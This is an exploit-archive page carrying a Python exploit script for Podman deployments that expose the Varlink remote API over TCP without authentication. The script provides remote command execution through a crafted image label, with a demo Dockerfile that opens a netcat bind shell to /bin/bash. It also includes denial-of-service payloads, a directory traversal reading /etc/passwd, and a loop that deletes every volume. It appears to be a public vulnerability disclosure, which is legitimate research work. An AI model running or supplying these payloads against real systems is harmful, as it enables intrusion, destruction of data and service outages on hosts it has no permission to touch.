Podman / Varlink Remote Code Execution

2019.10.15
Credit: Jeremy Brown
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python # -*- coding: UTF-8 -*- # # pickletime.py # # Podman + Varlink Insecure Config Remote Exploit # # Jeremy Brown [jbrown3264/gmail] @ Oct 2019 # # ------- # Details # ------- # # Podman is container engine / platform similar to Docker supported # by RedHat and Fedora with Varlink being a protocol to exchange # messages, which comes in handy for things like a Remote API. # # Now depending on how Podman and Varlink are deployed, they can be # susceptible to local and remote attacks. There are a few API bugs # in Podman itself, as well as a way to execute arbitary commands if # one can hit Podman via the Remote API. Running Podman with Varlink # over tcp listening either on localhost or the network interface is the # most vulnerable setup, but other ways such as access via the local UNIX # socket or over SSH (key /w no passphrase is common) aren't likely # to be vulnerable unless ACLs or other stuff is broken. # # ------------------ # Testing the issues # ------------------ # # - check; just connects and issues GetInfo() to see if the host is # running a podman service # # - exec; arbitrary cmd execution via ContainerRunlabel() specified # by "run" label in the specified hosted image (self-setup) # # - dos; crash the server via choosing a /random/ selection from # the available parsing bugs in APIs (we like to have fun here) # # - blind; dir traversal in SearchImages() API to force server to # read an arbitrary file (no client-side output) # # - volrm; loops to remove all volumes via VolumeRemove() behavior # # --------- # Exec demo # --------- # # $ ./pickletime.py check podman-host:6000 # -> Podman service confirmed on host # # Then create a Dockerfile with an edgy label, build and host it. # # [Dockerfile] # FROM busybox # LABEL run=“nc -l -p 10000 -e /bin/bash” # # $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run # Done! # # $ nc podman-host 10000 # ps # PID TTY TIME CMD # 111640 pts/1 00:00:00 bash # 111786 pts/1 00:00:00 podman # 111797 pts/1 00:00:00 nc # 111799 pts/1 00:00:00 bash # 111801 pts/1 00:00:00 ps # # # Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64 # # ----------- # Other stuff # ----------- # # Note: admins can really setup their connection and deployment configuration # however they like, so it's hard to say how many folks are 'doing it wrong' # or actually are running with proper auth and hardening in place. Shodan # folks have been contacted about adding support to discover Varlink services # to get more data that way as well. # # Fixed bugs: # - DoS #2 was fixed in 1.5.1 # - Updated security docs / cli flags TBD # # > Why pickles? Why not. # # Dependencies to run this code: # # sudo dnf install -y python3-podman-api # # # import os import sys import socket import subprocess import random import json import podman import pickle import time serviceName = 'io.podman' # service name def main(): if(len(sys.argv) < 2): print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0]) print("Eg: %s check tcp:podman-host:6000" % sys.argv[0]) print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0]) print("Actions: check, exec, dos, blind, volrm\n") return action = sys.argv[1] address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing ip = address.split(':')[1] port = int(address.split(':')[2]) if(action == 'exec'): if(len(sys.argv) < 4): print("Error: need more args for exec") return image = sys.argv[3] # 'source' for pull label = sys.argv[4] isItTime() try: pman = podman.Client(uri=address) except Exception: print("Error: can't connect to host") return if(action == 'check'): result = json.dumps(pman.system.info()) if('podman_version' in result): print("-> Podman service confirmed on host") return print("-!- Podman service was not found on host") elif(action == 'exec'): # # First pull the image from the repo, then run the label # try: result = pman.images.pull(image) # PullImage() except Exception as error: pass # call fails sometimes if image already exists which is *ok* # # ContainerRunlabel() ... but, no library imp. we'll do it live! # method = serviceName + '.' + 'ContainerRunlabel' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"Runlabel\":{\"image\":\"' message += image message += '\",\"label\":\"' message += label message += '\"}}}' message += '\0' # end each msg with a NULL byte doSocketSend(ip, port, message) elif(action == 'dos'): #bug = 1 # !fun bug = random.randint(1,2) # fun if(bug == 1): print("one") source = 'test' method = serviceName + '.' + 'LoadImage' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"source":\"' message += source message += '\"}}' message += '\0' doSocketSend(ip, port, message) # works on 1.4.4, fixed in 1.5.1 if(bug == 2): print("two") reference = 'b' * 238 source = '/dev/null' # this file must exist locally method = serviceName + '.' + 'ImportImage' message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"reference\":\"' message += reference message += '\",\"source\":\"' message += source message += '\"}}' message += '\0' doSocketSend(ip, port, message) # # blind read of arbitrary files server-side # ...interesting but not particularly useful by itself # # openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7 # lseek(7, 0, SEEK_CUR) = 0 # fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0 # read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672 # close(7) # elif(action == 'blind'): method = serviceName + '.' + 'SearchImages' query = '../../../etc/passwd/' # magic '/' at the end message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"query\":\"' message += query message += '\"}}' message += '\0' #pman.images.search(query) # unclear why this doesn't work doSocketSend(ip, port, message) # # Not really a bug, but an interesting feature to demo without auth # note: call CreateVolume() a few times beforehand to test the removal # elif(action == 'volrm'): method = serviceName + '.' + 'VolumeRemove' n = 10 # this is probably enough to test, but change as necessary message = '{\"method\":\"' message += method message += '\",\"parameters\":' message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal message += '\0' for _ in range(n): doSocketSend(ip, port, message) time.sleep(0.5) # server processing time print("Done!") # # podman/varlink libaries don't support calling these API calls, so native we must # def doSocketSend(ip, port, message): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send(message.encode()) except Exception as error: print(str(error)) return finally: sock.close() # # obligatory routine # def isItTime(): tm = time.localtime() p = pickle.dumps('it\'s pickle time!') if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')): print(pickle.loads(p)) else: pass # no dill if(__name__ == '__main__'): main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top